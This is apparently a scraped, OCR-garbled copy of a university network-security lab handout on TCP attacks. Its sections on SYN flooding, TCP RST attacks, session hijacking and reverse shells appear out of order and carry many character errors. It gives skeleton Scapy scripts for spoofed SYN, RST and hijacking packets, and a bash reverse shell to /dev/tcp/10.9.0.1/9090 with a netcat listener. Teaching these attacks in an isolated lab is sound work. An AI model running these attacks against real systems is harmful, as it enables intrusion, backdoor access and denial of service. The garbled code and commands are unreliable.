Figure 3 TCP Session Hijacking Attack victims to execute the mali.pdf

Figure 3: TCP Session Hijacking Attack victims to execute the malicious commands. Figure 3
depicts how the attack works. In this task, you need to demonstrate how you can hijack a telnet
session between two computers. Your goal is to get the tel net server to run a malicious
command from you. For the simplicity of the task, we assume that the attacker and the victim are
on the same LAN. Launching the attack manually. Please use Scapy to conduct the TCP Session
Hijacking attack. A skeleton code is provided in the following. You need to replace each @@
@e with an actual value; you can use Wireshark to figure out what value you should put into
each field of the spoofed TCP packets. #! /usr/bin/env python 3 from scapy. all import * data -
"" pkt - ip/tcp/data ls (pkt) send (pkt, verbose-0) Optional: Launching the attack automatically.
Students are encouraged to write a program to launch the attack automatically using the sniffing-
and-spoofing technique. Unlike the manual approach, we get all the parameters from sniffed
packets, so the entire attack is automated. Please make sure that when you use Scapy's sn iff
function, don't forget to set the if a ce argument. 6 Task 4: Creating Reverse Shell using TCP
Session Hijacking When attackers are able to inject a command to the victim's machine using
TCP session hijacking, they are not interested in running one simple command on the victim
machine; they are interested in running many commands. Obviously, running these commands
all through TCP session hijacking is inconvenient. What attackers want to achieve is to use the
attack to set up a back door, so they can use this back door to conveniently conduct further
damages. A typical way to set up back doors is to run a reverse shell from the victim machine to
give the attack the shell access to the victim machine. Reverse shell is a shell process running on
a remote machine, connecting back to the attacker's machine. This gives an attacker a convenient
way to access a remote machine once it has been compromised.
the lab setup. Please compile the program on the VM and then launch the attack on the target
machine. // Compile the code on the host VM $ gcc -o synflood synflood.c // Launch the attack
from the attacker container # synflood 1090.523 // Compile the code on the host VM $ gcc -o
synflood synflood.c // Launch the attack from the attacker container # synflood 10.9.0.5 23
Before launching the attack, please restore the queue size to its original value. Please compare

the results with the one using the Python program, and explain the reason behind the difference.
3.3 Task 1.3: Enable the SYN Cookie Countermeasure Please enable the SYN cookie
mechanism, and run your attacks again, and compare the results. 4 Task 2: TCP RST Attacks on
telnet Connections The TCP RST Attack can terminate an established TCP connection between
two victims. For example, if there is an established telnet connection (TCP) between two users A
and B, attackers can spoof a RST packet from A to B, breaking this existing connection. To
succeed in this attack, attackers need to correctly construct the TCP RST packet. In this task, you
need to launch a TCP RST attack from the VM to break an existing te l net connection between
A and B, which are containers. To simplify the lab, we assume that the attacker and the victim
are on the same LAN, i.e., the attacker can observe the TCP traffic between A and B. Launching
the attack manually. Please use Scapy to conduct the TCP RST attack. A skeleton code is
prowided in the following. You need to replace each Wireshark): #! /usr/bin/env python 3 from
scapy.all import * ip - IP (srca "egeg", dst-"egeg") pkt ip/tcp ls (pkt) send (pkt, verbose-0)
Optional: Launching the attack automatically. Students are encouraged to write a program to
launch the attack automatically using the sniffing-and-spoofing technique. Unlike the manual
approach, we get all the parameters from sniffed packets, so the entire attack is automated.
Please make sure that when you use Scapy's sn iff function, don't forget to set the if a ce
argument. 5 Task 3: TCP Session Hijacking The objective of the TCP Session Hijacking attack is
to hijack an ex isting TCP connection (session) between two victims by injecting malicious
contents into this session. If this connection is a telnet session, attackers can inject malicious
commands (e.g. deleting an important file) into this session, causing the
In the following, we will show how we can set up a reverse shell if we can directly run a
command on the victim machine (i.e. the server machine). In the TCP session hijacking attack,
attackers cannot directly run a command on the victim machine, so their jobs is to run a reverse-
shell command through the session hijacking attack. In this task, students need to demonstrate
that they can achieve this goal. To have a bas h shell on a remote machine connect back to the
attacker's machine, the attacker needs a process waiting for some connection on a given port. In
this example, we will use netcat. This program allows us to specify a port number and can listen
for a connection on that port. In the following demo, we show two windows, each one is from a
different machine. The top window is the attack machine 1 0.9.0.1, which runs netcat (nc for
short), listening on port 9090 . The bottom window is the victim machine 10.9.0.5, and we type
the reverse shell command. As soon as the reverse shell gets executed, the top window indicates
that we get a shell. This is a reverse shell, i.e., it runs on 10.9.0.5. We provide a brief description
on the reverse shell command in the following. Detailed explanation can be found in the SEED
book. - "/bin/bash -i": i stands for interactive, meaning that the shell must be interactive (must

provide a shell prompt) - "> /dev/tcp/10.9.0.1/9090": This causes the output (st dout) of the shell
to be redirected to the tcp connection to 10.90.1 's port 9090 . The output st dout is represented
by file descriptor number 1 . - 0<&1" : File descriptor 0 represents the standard input (stdin).
This causes the stdin for the shell to be obtained from the tcp connection. - "2>&1": File
descriptor 2 represents standard error stderr. This causes the error output to be redirected to the
tcp connection. In summary, "/bin/bash i>/ dev/tcp/10.9.0.1/9090 0<&12>&1 " starts abash shell,
with its input coming from a tcp connection, and its standard and error outputs being redirected
to the same tcp connection. In the demo shown above, when the bash shell command is executed
on 10.9.0.5, it connects back to the netcat process started on 10.90.1. This is confirmed via the
"Connection rece ived on 10.90.5 message displayed by net cat.
Note A: A kernel mitigation mechanism. On Ubuntu 20.04, if machine X has never made a TCP
connection to the victim machine, when the SYN flooding attack is launched, machine X will not
be able to telnet into the victim machine. However, if before the attack, machine X has already
made a telnet (or TCP connection) to the victim machine, then X seems to be "immune" to the
SYN flooding attack, and can successfully telnet to the victim machine during the attack. It
seems that the victim machine remembers past successful connections, and uses this memory
when establishing future connections with the "returning" client. This behavior does not exist in
Ubuntu 16.04 and earlier versions. This is due to a mitigation of the kernel: TCP reserves one
fourth of the backlog queue for "proven destinations" if SYN Cookies are disabled. After making
a TCP connection from 10.9.0.6 to the server 10.9.0.5, we can see that the IP address 10.9.0.6 is
remembered (cached) by the server, so they will be using the reserved slots when connections
come from them, and will thus not be affected by the SYN flooding attack. To remove the effect
of this mitigation method, we can run the "ip t cp_metrics flush" command on the server. # ip
tcp_metrics show 10.9 .0 .6 age 140.552sec cwnd 10rtt79us rttvar 40 us source 10.9 .0 .5 # ip
tcp_metrics flush # ip tcp_metrics show 10.9.0.6 age 140.552sec cwnd 10rtt 79us rttvar 40 us
source 10.9.0.5 # ip tcp_metrics flush Note B: RST packets. If you are doing this task using two
VMs, i.e., launching the attack from one VM against another VM, instead of attacking a
container, from the Wireshark, you will notice many RST packets (reset). Initially, we thought
that the packets were generated from the recipient of the SYN+ACK packet, but it turns out they
are generated by the NAT server in our setup. Any traffic going out of the VM in our lab setup
will go through the NAT server provided by VirtualBox. For TCP, NAT creates address
translation entries based on the SYN packet. In our attack, the SYN packets generated by the
attacker did not go through the NAT (both attacker and victims are behind the NAT), so no NAT
entry was created. When the victim sends SYN+ACK packet back to the source IP (which is
randomly generated by the attacker), this packet will go out through the NAT, but because there

is no prior NAT entry for this TCP connection, NAT does not know what to do, so it sends a
TCP RST packet back to the victim. RST packets cause the victim to remove the data from the
half-open connection queue. Therefore, while we are trying fill up this queue with the attack,
VirtualBox helps the victim to remove our records from the queue. It becomes a competition
between our code and the VirtualBox. 3.2 Task 1.2: Launch the Attack Using C Other than the
TCP cache issue, all the issues mentioned in Task 1.1 can be resolved if we can send spoofed
SYN packets fast enough. We can achieve that using C. We provide a C program called syn
flood. c in
3.1 Task 1.1: Launching the Attack Using Python We provide a Python program called syn
flood.py, but we have intentionally left out some essential data in the code. This code sends out
spoofed TCP SYN packets, with randomly generated source IP address, source port, and
sequence number. Students should finish the code and then use it to launch the attack on the
target machine: # ! / bin/env python3 from scapy.all import IP, TCP, send from ipaddress import
IPv4Address from random import get randbits ip - IP ( dst =",,,") tcp = TCP (dport =, flags=' S)
pkt =ip/tcp while True: pkt [IP].src - str(IPv4Address (getrandbits(32))) # source iP
pkt:[TCP].sport - getrandbits(16) #source port pkt [TCP].seq - getrandbits(32) # sequence
number send (pkt, verbose - 0) Let the attack run for at least one minute, then try to telnet into
the victim machine, and see whether you can succeed. Very likely that your attack will fail.
Multiple issues can contribute to the failure of the attack. They are listed in the following with
guidelines on how to address them. - TCP cache issue: See Note A below. - VirtualBox issue: If
you are doing the attack from one VM against another VM, instead of using our container setup,
please see Note B below. This is not an issue if you are doing the attack using the container
setup. - TCP retransmission issue: After sending out the SYN+ACK packet, the victim machine
will wait for the ACK packet. If it does not come in time, TCP will retransmit the SYN+ACK
packet. How many times it will retransmit depends on the following kernel parameters (by
default, its value is 5): [ begin{array}{l} text { # sysctl net.ipv4.tcp_synack_retries } text {
net.ipv4.tcp_synack_retries }=5 end{array} ] After these 5 retransmissions, TCP will remove
the corresponding item from the half-open connection queue. Every time when an item is
removed, a slot becomes open. Your attack packets and the legitimate telnet connection request
packets will fight for this opening. Our Python program may not be fast enough, and can thus
lose to the legitimate telnet packet. To win the competition, we can run multiple instances of the
attack program in parallel. Please try this approach and see whether the success rate can be
improved. How many instances should you run to achieve a reasonable success rate? - The size
of the queue: How many half-open connections can be stored in the queue can affect the success
rate of the attack. The size of the queue be adjusted using the following command: # sysctl -w

net.ipv4.tcp_max_syn_backlog-80

Figure 3 TCP Session Hijacking Attack victims to execute the mali.pdf

More Related Content

Similar to Figure 3 TCP Session Hijacking Attack victims to execute the mali.pdf (20)

More from orderfabfirki (6)

Recently uploaded (20)

Figure 3 TCP Session Hijacking Attack victims to execute the mali.pdf